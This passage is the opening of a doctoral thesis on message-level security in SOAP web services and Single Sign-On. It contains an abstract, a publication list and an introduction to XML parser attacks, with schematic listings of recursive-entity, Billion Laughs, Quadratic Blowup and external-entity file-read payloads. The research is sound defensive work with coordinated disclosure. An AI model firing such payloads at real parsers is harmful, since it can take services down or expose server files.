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Abstract

The advent of message-level security raised with the upcoming popularity of
multi-party application architectures, in which securing messages only during
transport does not fulfill the demands. Security features are directly added to
the exchanged messages so that they can be forwarded to further entities with-
out losing their protection, even if an untrusted party is involved in between.
This thesis analyzes message-level security in two widely-used application areas:
web services and Single Sign-On (SSO). Through the described methodology,
numerous security issues in various software libraries and websites were identi-
fied, reported and fixed.
The first part of the thesis analyzes the security of SOAP-based web services.

This work found novel attack techniques with the focus on automatic detection
and circumvention of existing countermeasures. With WS-Attacker, a software
developed in this context, the first fully-automatic penetration test software for
web service security is designed and implemented. Its application led to the
discovery of numerous vulnerabilities in well-known web service frameworks,
such as Apache CXF, and in the IBM DataPower Security Gateway. The issues
were reported to the developers and the implementation flaws were fixed.
The second part of the thesis examines the security of SSO systems. Generic

attack concepts applicable to arbitrary SSO protocols are developed and then
applied to the protocols (1.) OpenID, (2.) OpenID Connect, and (3.) Security
Assertion Markup Language (SAML). These attack concepts are based on a
newly introduced SSO Attacker Paradigm which is founded by the question
whether the Identity Provider (IdP) in an SSO protocol can always be viewed
as a Trusted Third Party (TTP). The research results in this thesis show that
in modern SSO systems, an attacker may integrate his malicious IdP and, thus,
they reveal that the answer is no. The malicious IdP can then be used for the
detection of security vulnerabilities and for their exploitation.
Based on the SSO Attacker Paradigm, the attack techniques are evaluated.

Vulnerabilities are identified in different OpenID, OpenID Connect, and SAML
implementations. The security of widespread systems, such as Software-as-a-
Service Cloud Providers (SaaS-CPs), can be broken. We show how to success-
fully log in to foreign accounts, read out local files stored on the server, and
to efficiently execute Denial-of-Service (DoS) as well as complex Server-Side
Request Forgery (SSRF) attacks.
The work described in this thesis influenced the development of many web

service frameworks and SSO systems. Within this context, attacks on the spe-
cification of OpenID Connect are shown that allow to break the main target of
the protocol – the authentication of the End-User – regardless of the underly-
ing implementation. A countermeasure has been proposed in collaboration with
the official OAuth and OpenID Connect workgroups of the Internet Engineering
Task Force (IETF). Due to the attacks, the specifications of OAuth and OpenID
Connect are currently being updated and adjusted.





Kurzfassung

Die vorliegende Dissertation beschäftigt sich mit dem Thema Nachrichtensicher-
heit in Webservices und Single Sign-On (SSO) Systemen. Durch die in der Dis-
sertation beschriebene Methodologie sind zahlreiche Sicherheitslücken in ver-
schiedenen Softwarebibliotheken und Webseiten identifiziert, gemeldet und be-
hoben worden.
Im ersten Teil der Dissertation wird die Sicherheit von SOAP-basierten Web-

services untersucht. Es werden neuartige Angriffstechniken mit dem Fokus auf
automatischer Erkennung und Umgehung von existierenden Gegenmaßnahmen
vorgestellt. Mithilfe der in diesem Rahmen entwickelten Software WS-Attacker
ist es möglich, vollautomatische Penetrationstests durchzuführen. Dadurch kon-
nten zahlreiche Schwachstellen in bekanntenWebservice-Frameworks wieApache
CXF, sowie im IBM DataPower Security Gateway festgestellt werden. Diese
sind den Herstellern gemeldet und durch die Mithilfe des Autors behoben wor-
den.
Im zweiten Teil der Dissertation wird die Sicherheit von SSO Systemen un-

tersucht. Es werden generische Angriffskonzepte entwickelt, die anschließend
auf die Protokolle (1.) OpenID, (2.) OpenID Connect und (3.) SAML angewen-
det werden. Diese Konzepte beruhen auf einem neuen Angriffsparadigma, das
durch die Dissertation eingeführt wird. Das Paradigma basiert auf der Frage, ob
der Identity Provider (IdP) in einem SSO Protokoll stets als vertrauenswürdige
dritte Partei angesehen werden kann. Die Dissertation zeigt, dass diese Frage
verneint werden muss, da in modernen SSO Protokollen ein Angreifer seinen
eigenen, bösartigen IdP verwenden kann. Dieser kann für das Auffinden von
Schwachstellen (Vulnerability Detection) und für dessen Ausnutzung (Vulnera-
bility Exploitation) verwendet werden.
Auf Basis des Paradigmas werden die entwickelten Angriffstechniken evaluiert.

Dabei werden Schwachstellen in verschiedenen OpenID, OpenID Connect und
SAML Implementierungen identifiziert. Die Sicherheit von weit verbreiteten
Systemen, wie Software-as-a-Service Cloud Anbietern, konnte gebrochen wer-
den. Es wird gezeigt, wie die Anmeldung in fremden Accounts, das Auslesen
von lokalen auf dem Server gespeicherten Dateien, effiziente Denial-of-Service
sowie komplexe Server-Side-Request-Forgery Angriffe erfolgreich durchgeführt
werden konnten.
Im Rahmen der Dissertation werden darüber hinaus Angriffe auf die Spe-

zifikation von OpenID Connect gezeigt. Diese ermöglichen es, das Hauptziel
des Protokolls – die Authentifizierung des Endbenutzers – unabhängig von
der genutzten Implementierung zu brechen. Gemeinsam mit den offiziellen
OAuth- und OpenID Connect-Arbeitsgruppen der Internet Engineering Task
Force (IETF) ist eine Gegenmaßnahme entwickelt worden. Auf Grund der
Angriffe werden die Spezifikationen von OAuth und OpenID Connect zurzeit
erneuert und angepasst.
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1
Introduction

Today’s web is complex and cannot be completely explained by only using the
classic client-server paradigm, where requests and responses are exclusively ex-
changed between these two parties. A request from a client invokes several
additional Remote Procedure Calls (RPCs) executed on back-end servers or
even on completely different servers in the Internet. For example, a user wants
to log in to a website. He is forwarded to a third party, such as Facebook
or Google, and authenticates to it. Then he is redirected back to the original
website and automatically logged in using the authentication provided by the
third party. For securing communication in these scenarios, it is insufficient to
solely rely on transport-level security. Messages are exchanged over multiple
instances, for example, the user’s browser or an intermediate server, which has
the opportunity to manipulate them. Thus, protection needs to be added on
the message-level. This thesis analyzes message-level security in two main parts:
web services and Single Sign-On (SSO).

Web Services. An important application area for message-level security are
web services. The technology enables the invocation of RPCs on a server. In-
coming requests to a server can be processed directly, or indirectly by forwarding
(parts of them) to different servers. A widely-used technology for web services is
the XML-based Simple Object Access Protocol (SOAP) [21, 74]. Web services
are more likely to be used in the back-end and are not dedicated for interactions
with a typical Internet user. Since they are not directly visible, their distribution
and importance can be deduced by the large number of vulnerabilities detected
in recent years. In November 2016, an attack infected the SOAP interface of five
million routers [77]. Additional vulnerability reports were published targeting
Netgear [244] and D-Link products [33].
For adding security features to SOAP, WS-Security [153] can be used. It relies

on XML Signature [79] and XML Encryption [49]. Attacks on these technologies
were in the scope of different research publications [17, 86, 87, 137, 205]. A
further problem for web services are Denial-of-Service (DoS) attacks targeting
the underlying XML parser by abusing structural properties of XML.
The main problem of all the attacks is to detect whether an implementation

is vulnerable. Although the attack concepts are known, numerous variants and
mutations exist. A manual analysis of them is time-consuming, requires expert
knowledge, and is thus impractical. As an example, the attack payload of a DoS
attack can be placed at different positions within a SOAP message. Some po-
sitions can affect the web service performance, others are ignored, even though
the same attack payload is used. Similar problems occur for the attacks on XML

1



1 Introduction

Signature and XML Encryption. On top of that, a web service can implement
several countermeasures. One example is to use an XML Signature for protect-
ing encrypted content. The attacks on XML Encryption may be conducted if
the XML Signature protection can be evaded.
Single Sign-On. Another popular use-case for message-level security is SSO.
SSO is a concept for delegated authentication and is integrated in many web
ecosystems, for example, in Google, Facebook, and Microsoft. Three entities are
evolved: (1.) the End-User, (2.) the Service Provider (SP), and (3.) the Identity
Provider (IdP). The End-User wants to authenticate to the SP. Instead of a
direct login to the SP, the End-User is redirected to the IdP. The IdP acts as
a Trusted Third Party (TTP) and can issue an SSO token to the End-User,
who forwards it to the SP. The token contains assertions of the End-User’s
identity. Once the SP receives the SSO token, it evaluates the assertions and
the End-User is logged in.
Numerous attacks on different SSO protocols were discovered on Security As-

sertion Markup Language (SAML) [8, 206], on BrowserId [62, 63], on OpenID [37,
132], and on its successor OpenID Connect [111]. Nevertheless, the concepts be-
hind the attacks are often reused and adapted. A generic attack approach is
missing. Additionally, modern SSO protocols offer new features. For example,
in OpenID and OpenID Connect, there is no fixed binding between the SP and
the IdP – trust is established on the fly between them. This property has not
been investigated so far.

1.1 Topics and Contributions

The two main parts of this thesis analyze message-level security in web services
(Chapter 2) and SSO (Chapter 3).
Chapter 2 examines various SOAP-based web service frameworks and security
gateways. In this context, WS-Attacker was developed, the first web services
penetration test tool. The tool’s design and architecture is flexible enough to
support different kinds of attacks that were developed in recent years. This
thesis concentrates on two different classes of web service attacks.
(1.) Novel DoS attacks are discussed and implemented. Unlike classical DoS

attacks, such as SYN Flooding [237], the thesis focuses on DoS techniques
relying on the message-level: XML-based DoS abuses weaknesses in cer-
tain XML constructs and its processing, such as smart ordering of el-
ements/attributes, or the use of additional features, such as Document
Type Definitions (DTDs). A web service receiving such a message must
parse it before its application logic can work with it. The process of pars-
ing is complex. Basically, it syntactically analyzes a string (such as the
XML message) and transforms it into a data object. The resulting object
can be easily accessed by other components involved in the process, for
example, a security library or a business logic. Considering DoS attacks,
the knowledge of different attack techniques is the first step. Another step
is the detection whether the web service under investigation is vulnerable
to a specific attack. Depending on the countermeasures implemented in

2



1.1 Topics and Contributions

the web service, it is difficult to decide whether an attack is successful or
not. Different behavior can be observed dependent on the underlying im-
plementation. For example, some web services are vulnerable to an attack
if the payload is placed in the SOAP Header, but are not vulnerable if it
is placed in the SOAP Body. Other frameworks have thresholds limiting
the processed XML input, for example, they stop processing after a spe-
cific number of elements are parsed. This thesis presents a novel adaptive
and intelligent approach for testing DoS vulnerabilities in web services.
The algorithm developed for this purpose systematically increases the at-
tack strength and evaluates its impact on a given web service, using a
black-box approach based on server response times. This allows to au-
tomatically detect message size limits or element count restrictions. The
practicability of the approach is proven by extending WS-Attacker and
using it for detecting new DoS vulnerabilities in widely used web service
implementations.

(2.) Chosen-ciphertext attacks on XML Encryption are systematically ana-
lyzed. In this thesis, an algorithm to perform a vulnerability scan on
arbitrary encrypted XML messages is designed. Its complexity does not
rely on the attack execution itself. Since the attacks abuse a flaw in the
XML Encryption specification [87], all implementations are vulnerable in
general. The thesis analyzes existing countermeasures [207]. For exam-
ple, many web service frameworks deploy XML Encryption together with
other message-level security functionalities, such as XML Signature, for
preventing the attack or making its application complex. An algorithm
for automatically bypassing these countermeasures, detecting the vulner-
ability, and exploiting it to retrieve the plaintext of a message protected
by XML Encryption is developed. WS-Attacker is used to discover new
security problems in 4 out of 5 analyzed web service implementations,
including IBM DataPower and Apache CXF.

Chapter 3 examines the security of SSO systems. The thesis contributes to the
generic understanding of modern web-based SSO protocols by classifying them
into three phases. (1.) In the Trust Establishment Phase, the SP communicates
to the IdP. For example, it is used to establish key material. (2.) In the Token
Generation Phase, the End-User authenticates to the IdP. The IdP generates
the SSO token, which is forwarded by the End-User to the SP. (3.) The Token
Redemption Phase takes place if the SP is unable to validate the SSO token
on its own. In this case, the SP sends it directly to the IdP and retrieves
information whether it was valid.
One of the main contributions of this chapter is the introduction of a new SSO

Attacker Paradigm, which makes use of a malicious IdP to analyze and attack
a target SP. Such a malicious IdP can be integrated into the SSO ecosystem in
the Trust Establishment Phase. The thesis presents further generic attacks on
SSO protocols based on the systematic analysis of the three SSO phases.

§ Single-Phase Attacks manipulate a single step in one protocol phase, mostly
in the Token Generation Phase. Some of them were already described for
a particular SSO protocol, for example, Replay attacks, but the thesis

3



1 Introduction

shows a general methodology that can be adapted to arbitrary SSO pro-
tocols. In this way, the novel ID Spoofing (IDS) attack is found. It allows
an attacker to authenticate with arbitrary identities to the SP.

§ Cross-Phase Attacks are by far more complex than Single-Phase Attacks.
In general, Cross-Phase Attacks abuse a missing or insufficient binding
between the protocol phases and are enforced by manipulating steps across
phases.

In both classes, the attacker pursues the goal to get unauthorized access to
resources on the SP. More precisely, the attacker can log in with the identity
of a victim or gets access to locally stored files on the SP. To highlight the
impact of the SSO Attacker Paradigm and the malicious IdP, the generic concept
is adapted to three different SSO protocols and various implementations are
analyzed using the SSO Attacker Paradigm.
(1.) First, OpenID is investigated and 3 novel Single-Phase Attacks consisting

of 5 strategies and additionally 1 Cross-Phase Attack are found. To deter-
mine the impact of these attacks and to show the feasibility of a malicious
IdP in OpenID, 17 OpenID implementations are evaluated and security
vulnerabilities are found in 12 of them. In addition, 70 online websites are
analyzed. Among them, 26% are vulnerable to at least one attack.

(2.) Second, OpenID Connect is analyzed and 4 kinds of Single-Phase Attacks
and 3 Cross-Phase Attacks are detected. The security verification of 8
different libraries reveals implementation issues in 6 of them.

(3.) Finally, SAML is examined and 7 Single-Phase Attacks and 1 Cross-Phase
Attack are identified. An evaluation of 22 Software-as-a-Service Cloud
Providers (SaaS-CPs) detects 20 of them to be vulnerable to at least one
of the attacks.

Among these results, 2 of the found Cross-Phase Attacks on OpenID Connect
break the main goal of the corresponding specification: the authentication of
the End-User. The author communicated the issue to the OpenID Connect and
OAuth Internet Engineering Task Force (IETF) working groups and helped to
create a fix for it that will update the specification [115].
Chapter 4 concludes this thesis with future work and research directives.

1.2 Publications

The author contributed to numerous academic publications in the course of
his work. The knowledge gained thereby influenced and formed this thesis.
This section delineates all publications and identifies the author’s respective
contributions. They are ordered according to the corresponding chapter.

1.2.1 Publications Contributing to Chapter 2

Chapter 2 is build upon the following 5 publications, ordered by the structure
of the chapter.

§ “SoK: XML Parser Vulnerabilities” , 10th USENIX Workshop on Of-
fensive Technologies (WOOT), 2016 [209].
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The paper systematically analyzes various attack techniques on XML
parsers and presents challenges and solutions associated with the attacks.
A large-scale analysis of 17 XML parsers is conducted and, in 66% of
them, vulnerabilities are found in the default configuration. This paper
is joint work with Vladislav Mladenov, Jörg Schwenk, and Christopher
Späth, who conducted the evaluation as a part of his master’s thesis su-
pervised by the author. The author’s contribution lies in the initial idea,
the attack classification and identification of challenges.

§ “Penetration Testing Tool for Web Services Security” , IEEE 8th
World Congress on Services (SERVICES), 2012 [135].
The publication presents the basics of WS-Attacker and is joint work with
Juraj Somorovsky and Jörg Schwenk. The author’s contribution lies in
the design, in the architecture necessary for the creation of the automatic
penetration test tool, and in the framework’s implementation, which he
has first started during his own bachelor’s thesis. The details of WS-
Attacker are refined during this thesis.

§ “A New Approach towards DoS Penetration Testing on Web
Services” , IEEE 20th International Conference on Web Services (ICWS),
2013 [58].
In this paper, the first approach for the detection of DoS vulnerabilities
in web services is developed. The research is joint work with Juraj So-
morovsky, Jörg Schwenk, and Andreas Falkenberg, who implemented the
attacks in his master’s thesis supervised by the author. The author’s con-
tribution lies in the design of the testing approach and the evaluation of
the web service implementations together with Juraj Somorovsky.

§ “AdIDoS – Adaptive and Intelligent Fully-Automatic Detection
of Denial-of-Service Weaknesses in Web Services” , International
Workshop on Quantitative Aspects of Security Assurance (QASA), 2015 [4].
The publication extends the previous DoS detection approach by adding
intelligent and adaptive functionality. It is joint work with Juraj So-
morovsky, Jörg Schwenk, and Christian Altmeier, who implemented AdI-
DoS in his master’s thesis. The author’s contribution lies in the initial
idea, the algorithm design, and the evaluation of half of the web service
implementations together with Juraj Somorovsky.

§ “How to Break XML Encryption – Automatically” , 9th USENIX
Workshop on Offensive Technologies (WOOT), 2015 [110].
The paper presents an algorithm for automatically breaking the confiden-
tiality of web services relying on XML Encryption. It is joint work with
Juraj Somorovsky, Jörg Schwenk, and Dennis Kupser, who implemented
the attacks in his master’s thesis supervised by the author. The author’s
contribution lies in the design of the algorithm and the evaluation of half
of the web service implementations together with Juraj Somorovsky.
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1.2.2 Publications Contributing to Chapter 3

Chapter 3 is build upon the following 4 papers, ordered by their influence to
the contribution of the chapter.

§ “Do not trust me: Using malicious IdPs for analyzing and at-
tacking Single Sign-On” , IEEE 1st European Symposium on Security
and Privacy (Euro S&P), 2016 [132].
This publication introduces the SSO Attacker Paradigm and presents var-
ious attacks on OpenID which allow an attacker to log in with a victim’s
identity to an SP. The attacks are evaluated on 17 implementations, of
which 12 are vulnerable to at least one attack. To show the feasibility of
malicious IdPs, 70 websites are additionally investigated and vulnerabili-
ties are found in 26% of them. This is joint work with Vladislav Mladenov
and Jörg Schwenk. The SSO Attacker Paradigm and the identification of
the attacks is an equal contribution of the author and Vladislav Mladenov.
The author evaluated all PHP, ColdFusion, and Perl frameworks and half
of the tested websites.

§ “SoK: Single Sign-On Security – An Evaluation of OpenID Con-
nect” , IEEE 2nd European Symposium on Security and Privacy (Euro
S&P), 2017 [134].
The paper presents the three phases of an SSO protocol and describes
the concept of Single-Phase Attacks and Cross-Phase Attacks by the ex-
ample of OpenID Connect. It is joint work with Vladislav Mladenov,
Tobias Wich, and Jörg Schwenk. The paper discloses a specification flaw
in OpenID Connect, which was found by the author and Vladislav Mlade-
nov, as well as the generic attack classification in Single-Phase and Cross-
Phase Attacks, their adaption to OpenID Connect, and the design and
concept of the automated analysis tool PrOfESSOS. The author’s indi-
vidual contribution is the evaluation of half of the tested OpenID Connect
implementations.

§ “Your Software at My Service: Security Analysis of SaaS Single
Sign-On Solutions in the Cloud” , 6th Edition of the ACM Workshop
on Cloud Computing Security (CCSW), 2014 [129].
The publication evaluates 22 SaaS-CPs supporting SAML. Therefore, 8
different attacks are applied and vulnerabilities are found in 20 of them.
The paper is joint work with Vladislav Mladenov, Florian Feldmann,
and Jörg Schwenk. The author’s contribution lies in the development
of the provider model and the identification of the attacks together with
Vladislav Mladenov and Florian Feldmann. The author evaluated 7 of the
22 tested SaaS-CPs.

§ “Automatic Recognition, Processing and Attacking of Single Sign-
On Protocols with Burp Suite” , Open Identity Summit, 2015 [130].
This paper deals with the recognition of the SSO protocols messages
and their distinctness. Therefore, different protocols are technically de-
scribed (OpenID, OpenID Connect, OAuth, SAML, BrowserId, Facebook
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Connect, Microsoft Account). As a result, the Burp Suite extension
EsPReSSO is developed by the co-author Tim Günther as result of his
bachelor thesis supervised by the author. The paper is joint work with
Vladislav Mladenov and Jörg Schwenk. The author’s contribution lies in
the design and concept, together with Vladislav Mladenov, and the first
implementation of the tool.

1.2.3 Other Publications

The author published several other academic papers that influenced this the-
sis indirectly by touching the field of message-level security. They are listed
chronologically.

§ “How to Break Microsoft Rights Management Services” , 10th
USENIX Workshop on Offensive Technologies (WOOT), 2016 [71].
In this paper, Microsoft’s implementation of Enterprise Rights Manage-
ment (ERM) is analyzed and 2 attacks on it are revealed. The first one
allows to remove the ERM protection completely, while the second at-
tack enables content modification without having the access right to edit
it. The paper is joint work with Martin Grothe, Paul Rösler, and Jörg
Schwenk.

§ “Your Cloud in my Company: Modern Rights Management Ser-
vices Revisited” , The 10th International Conference on Availability, Re-
liability and Security (ARES), 2016 [72].
The publication investigates Microsoft Azures Rights Management Ser-
vices and Tresorit Rights Management Services (RMS). Through a sys-
tematical analysis, a serious breach in the security architecture of Tresorit
is disovered. Tresorit RMS’s whole security relies on itself being trusted,
although claimed differently. This is joint work with Martin Grothe, Paul
Rösler, Johanna Jupke, Jan Kaiser, and Jörg Schwenk.

§ “How Secure is TextSecure?” , IEEE 1st European Symposium on Se-
curity and Privacy (Euro S&P), 2016 [67].
The paper presents the first complete description of TextSecure’s com-
plex messaging protocol along with a thorough security analysis. Among
other findings, an Unknown Key-Share attack on the protocol is identified
and fixes are proposed. The research is joint work with Tilman Frosch,
Christoph Bader, Florian Bergsma, Jörg Schwenk, and Thorsten Holz.

§ “Not so Smart: On Smart TV Apps” , 4th International Workshop
on Secure Internet of Things (SIoT), 2015 [156].
This publication investigates attack models on Smart TVs including their
Apps. The research reveals several security issues in popular Apps, includ-
ing Facebook, eBay, and Watchever. By applying XML External Entity
(XXE) and other attacks, sensitive data can be stolen, such as WIFI pass-
words and SSO credentials. The paper is joint work with Marcus Niemietz,
Juraj Somorovsky, and Jörg Schwenk.
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§ “Penetration Test Tool for XML-basedWeb Services” , ESSoS Doc-
toral Symposium, 2013 [133].
The paper is joint work with Vladislav Mladenov, Juraj Somorovsky and
Jörg Schwenk. It gives an overview of the WS-Attacker framework, its
basic functionality, and sketches future directions.

§ “A new approach for WS-Policy Intersection using Partial Or-
dered Sets” , Services and their Composition (ZEUS), 2013 [55].
The publication describes a new approach for the intersection of WS-Policy
by computing policy adjustments. This is a requirement if two parties do
not offer a compatible WS-Policy, but want to communicate with each
other. It is joint work with Abeer Elsafie and Jörg Schwenk.

§ “XSpRES-Robust and Effective XML Signatures for Web Ser-
vices” , 2nd International Conference on Cloud Computing and Services
Science (CLOSER), 2012 [119].
This paper analyzes the effectiveness of various XML Signature Wrapping
(XSW) countermeasures. Moreover, a module for Apache Axis2 is imple-
mented to prevent the XSW threat. It is joint work with Meiko Jensen,
Luigi Lo Iacono, and Jörg Schwenk.
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2
Web Services Security

The eXtended Markup Language (XML) is a foundation for the widely-used web
services technology, which allows the users to execute remote operations and to
transport arbitrary data. It is currently adopted in Service Oriented Architec-
ture (SOA), cloud interfaces, management of federated identities, eGovernment,
or military services. The wide adoption of this technology has resulted in an
emergence of numerous – mostly complex – extension specifications. Naturally,
this has been followed by a rise in a large number of web services attacks. They
range from numerous specific Denial-of-Service (DoS) vulnerabilities [160] up
to attacks breaking interfaces of cloud providers [205] or the confidentiality of
encrypted messages [86, 87].
While implementing common web applications, developers can evaluate the

security of their systems by applying different penetration testing tools, for
example, Burp Suite [181] or w3af [188]. In comparison to well-known attacks,
such as SQL-Injection [172] or XSS [171], there exist no penetration test tools
for web services specific attacks. This was the motivation for developing the
first automated penetration test tool for web services called WS-Attacker.
Contribution. This chapter makes the following contributions:

§ We systematically discuss and categorize the, to the best of our knowledge,
largest number of state-of-the-art XML attacks. We deal with challenges
and solutions associated with the application of such attacks.

§ We design and develop WS-Attacker, the first penetration test tool for
web services security testing.

§ We develop a new approach for DoS testing in web services. In contrast
to previous work, our approach works in black-box scenarios and can de-
tect complex vulnerabilities by using an intelligent and adaptive search
algorithm.

§ We analyze attacks on XML Encryption and their countermeasures. As a
result, we create and implement a novel attack algorithm that automati-
cally evades these countermeasures and breaks the confidentiality of web
services using XML Encryption.

§ We evaluate the security of different web service frameworks, such as
Apache Axis2 [65], Apache CXF [5], Metro [220], and in the IBM Data-
Power [81]. With the help of WS-Attacker, various vulnerabilities were
found, reported, and fixed.
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Outline. This chapter summarizes our research results of five different papers.
The first section summarizes attacks targeting XML parsers and is based on our
paper “SoK: XML Parser Vulnerabilities” [209]. We then give an introduction
to web services basics in Section 2.2. In the following sections, we present WS-
Attacker, its design, new attack techniques, and practical security evaluations
of web services frameworks and XML security gateways. In Section 2.3, we
start with WS-Attacker’s concept and the first web service specific attacks,
which are based on our publication “Penetration Testing Tool for Web Services
Security” [135]. We describe the detection of XML-based DoS vulnerabilities
built upon our paper “A New Approach towards DoS Penetration Testing on
Web Services” [58] in Section 2.4. These concepts are then extended by a more
intelligent approach in Section 2.5, based on our paper “AdIDoS – Adaptive
and Intelligent Fully-Automatic Detection of Denial-of-Service Weaknesses in
Web Services” [4]. We proceed in Section 2.6 with a fully-automatic concept
of how to break XML Encryption, which is built upon our publication “How
to Break XML Encryption – Automatically” [110]. Related work is discussed in
Section 2.7 and we conclude in Section 2.8.

2.1 XML and DTD Parsing Security

XML is a wide spread data structure used in many application areas rang-
ing from desktop office tools, which use it to save their documents (*.docx ),
to XML-based databases (e.g., MarkLogic, eXist) and web protocol standards
such as SAML and SOAP. On a technical level, the parser translates an input
byte-stream into an XML document tree that can be accessed by APIs in dif-
ferent programming languages. By adding a Document Type Definition (DTD)
directly on top of the XML document, the parser behavior can be influenced.
Originally designed to define the structure (grammar) of an XML document,
DTDs enable various attacks, such as DoS, Server-Side Request Forgery (SSRF),
and File System Access (FSA).
In 2002 Klein [104] discovers the Billion Laughs attack and shows how to

apply a DoS attack using XML and DTD. Steuck [212] discovered the powerful
XML External Entity (XXE) attack on XML parsers that allows FSA in the
same year. The Open Web Application Security Project (OWASP) and other
resources [149, 173, 174, 234] partially list vulnerabilities and slightly consider
countermeasures. Although these attacks are known for a long time, leading
companies like Google [38], Facebook [184, 197], Apple [6], and others [56, 57,
202, 228] have been recently affected by them.
In the following, we systematically analyze attacks on XML parsers and deal

with challenges and solutions for them. This section is based on our paper “SoK:
XML Parser Vulnerabilities” [209].

2.1.1 XML Foundations

In the following, we describe the underlying techniques to understand the attacks
presented in this thesis.
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2.1.1.1 eXtended Markup Language

XML is a self-describing, universal, human-readable, and platform-independent
markup language [24]. Listing 2.1 shows an example XML file, which stores
some personal data.

Listing 2.1: An exemplary XML file.

1 <?xml version="1.0" encoding="ISO -8859 -1"?>
2 <documentElement >
3 <childElement attribute="value">Text

Content </childElement >
4 </documentElement >

2.1.1.2 XML and XML Schema

The structure of an XML document is defined by XML elements. An XML
element typically consists of a start tag (<tag>) and an end tag (</tag>). It
can include further child nodes, such as elements, attributes, or text contents.
XML Schema is a recommendation by the World Wide Web Consortium

(W3C) for describing the structure of an XML document [210]. It is a set
of rules that defines the structure for each contained element, covering the re-
spectively allowed attributes, the type of its value (e.g., a string or integer),
details of its allowed child elements, and how often these may occur.

2.1.1.3 XML Parsing

There are various approaches to parse an XML document. DOM-based parsers
create a tree structure of the whole XML document, called the Document Object
Model (DOM). A programmer accessing the XML document can easily look
through the XML tree in order to read, insert, or delete nodes. A node can be
an element, an attribute, text content, or a comment. The main disadvantage
of this parsing approach is the high resource utilization. The memory needed
for an XML tree representation exceeds the original file size multiple times.
The whole document must be processed before a programmer may access its
contents.
Simple API for XML (SAX) parsers are event-based. A SAX parser only

operates on parts of the XML tree at a time. Whenever the parser encounters
an XML node, an event is triggered. It is the program’s task to handle these
events in order to process the XML document. The main advantage of event-
based parsing is the low utilization of resources. Furthermore, once an event is
triggered, the event handlers can immediately start processing the data, without
having to wait for the parser to reach the end of the XML document. However,
some operations are more complex compared to a DOM parser.
StAX parsers also use the streaming-based approach. However, instead of

automatically triggering events while parsing the document, the StAX parser
waits for method calls that trigger certain parsing operations.
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2.1.1.4 Document Type Definition

Similar to XML Schema, a DTD defines a grammar to reject invalid user input
and is the first component declared in an XML document. In addition, DTDs
allow the declaration of storage units, so-called entities.
Entities. There are four different types of entities:

(1.) Internal General Entities offer a neat way to define a value and reference
it arbitrarily often within the document.

Listing 2.2: Example of an Internal General Entity.

1 <!DOCTYPE data [
2 <!ENTITY a "some text content">
3 ]>
4 <data>&a;</data>

While processing the document, the parser replaces the reference &a; with
the term “some text content”.

(2.) External General Entities facilitate the inclusion of external files.

Listing 2.3: Example of an External General Entity.

1 <!DOCTYPE data [
2 <!ENTITY a SYSTEM "file: /// path/to/some/file.txt">
3 ]>
4 <data>&a;</data>

The file “file.txt” is a plain text file, containing “some text content”. The
parser retrieves the file and replaces the reference with the content of the
file. In this way, the resulting XML document contains <data>some text
content</data>.

(3.) Internal Parameter Entities may be used to modify the value of another
Internal General Entity or Internal Parameter Entity.

Listing 2.4: Example of an Internal Parameter Entity.

1 <!DOCTYPE data [
2 <!ENTITY % p "with more words">
3 <!ENTITY a "some text content %p">
4 ]>
5 <data>&a;</data>

The value of Entity “a” changes to “some text content with more words”.
This looks very similar to the functionality of Internal General Entities, but
Internal Parameter Entities have special properties that we use for attacks in
the following sections.
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(4.) External Parameter Entities can be used to include additional entity dec-
larations, which are stored remotely.

Listing 2.5: Example of an External Parameter Entity.

1 <!DOCTYPE data [
2 <!ENTITY % extDTD SYSTEM "file: /// some.dtd">
3 %extDTD;
4 <!ENTITY a "some text content %p;">
5 ]>
6 <data>&a;</data>

The corresponding DTD file “some.dtd” is shown in Listing 2.6.

Listing 2.6: Example of an external DTD.

1 <!ENTITY % p "with more words">

The parser first fetches the External Parameter Entity “extDTD”, makes the
declaration of the entity p available, and finally, replaces this reference.

2.1.1.5 Other XML Technologies

XML Inclusion. XML Inclusion (XInclude) facilitates the inclusion of an
external files (e.g., XML documents) into the source document. The following
example shows how to include a file “other.xml” as a child node of the element
data.

Listing 2.7: XML document containing an XInclude instruction.

1 <data>
2 <xi:include

xmlns:xi="http://www.w3.org /2001/ XInclude"
href="other.xml"/>

3 </data>

Extensible Stylesheet Language Transformations. The Extensible Style-
sheet Language Transformations (XSLT) is commonly used to transform XML
documents into other documents and formats, for example, into JavaScript Ob-
ject Notation (JSON) or PDF [102].

2.1.2 Denial-of-Service

DoS attacks target system resources, such as network, storage, memory, or CPU
processing [114]. These attacks are very efficient as they require the attacker
investing only few resources but overwhelm the parser with a problem, thereby
allocating a huge amount of resources. As a result, an offered service is unavail-
able for benign users or at least responds significantly slower than normal.
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2.1.2.1 Recursive Entities

In the following example, the parser receives an XML document that declares
two Entities calling each other in an infinite loop (cf. Listing 2.8).

Listing 2.8: XML Infinite Recursion

1 <!DOCTYPE data [
2 <!ENTITY a "&b;">
3 <!ENTITY b "&a;">
4 ]>
5 <data>&a;</data>

The parser resolves the Entity a to a reference of b and the Entity b resolves
to a reference of a. Therefore, the vulnerable parser will loop indefinitely and
consume CPU resources.
Limitation: Forbidden by XML Specification. The XML specification
addresses this problem and forbids the processing of Entities that are used
recursively. However, an evaluation on Android, described in our paper “SoK:
XML Parser Vulnerabilities” [209], shows that not all parsers adhere to this rule.

2.1.2.2 Billion Laughs

Internal General Entities can be abused to create an Exponential entity attack
(Billion Laughs attack) [104]. The attack relies on a nested but limited level of
entity recursions.

Listing 2.9: Example of the Billion Laughs attack.

1 <!DOCTYPE data [
2 <!ENTITY a1 "dos">
3 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
4 ...
5 <!ENTITY a13 "&a12;&a12;&a12;&a12;&a12;">
6 ]>
7 <data>&a13;</data>

By defining different nesting levels of Internal General Entities, a file of only
200 KB is expanded to several gigabytes (e.g., 3.5 GB in our sample test-setup)
during the parsing process.
Challenge: Thresholds. A number of parsers detect and counteract this
attack by implementing a threshold to limit the total number of allowed entity
references within a document.

2.1.2.3 Quadratic Blowup

Even if the parser implements such a threshold, there are other ways to execute
a DoS attack, for example, by using an attack variant known as the Quadratic
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Blowup attack [230]. As shown in Listing 2.10, a single entity is created con-
taining a large string (e.g., 10 MB). This entity is referenced multiple times
within the document in order to achieve a similar result as before. Since less
entity references are required than in Listing 2.9, the threshold limitation can
be bypassed.

Listing 2.10: Example of the Quadratic Blowup attack.

1 <!DOCTYPE data [
2 <!ENTITY a1 "dosdosdos ... dos">
3 ]>
4 <data>&a1;&a1; ... &a1;</data>

2.1.2.4 Denial-of-Service with External General Entities

External General Entities can be misused for DoS attacks by pointing to a large
external file [174, 212] that will be read during processing (cf. Listing 2.11). As
a result, the target system allocates memory resources. If the file is retrieved
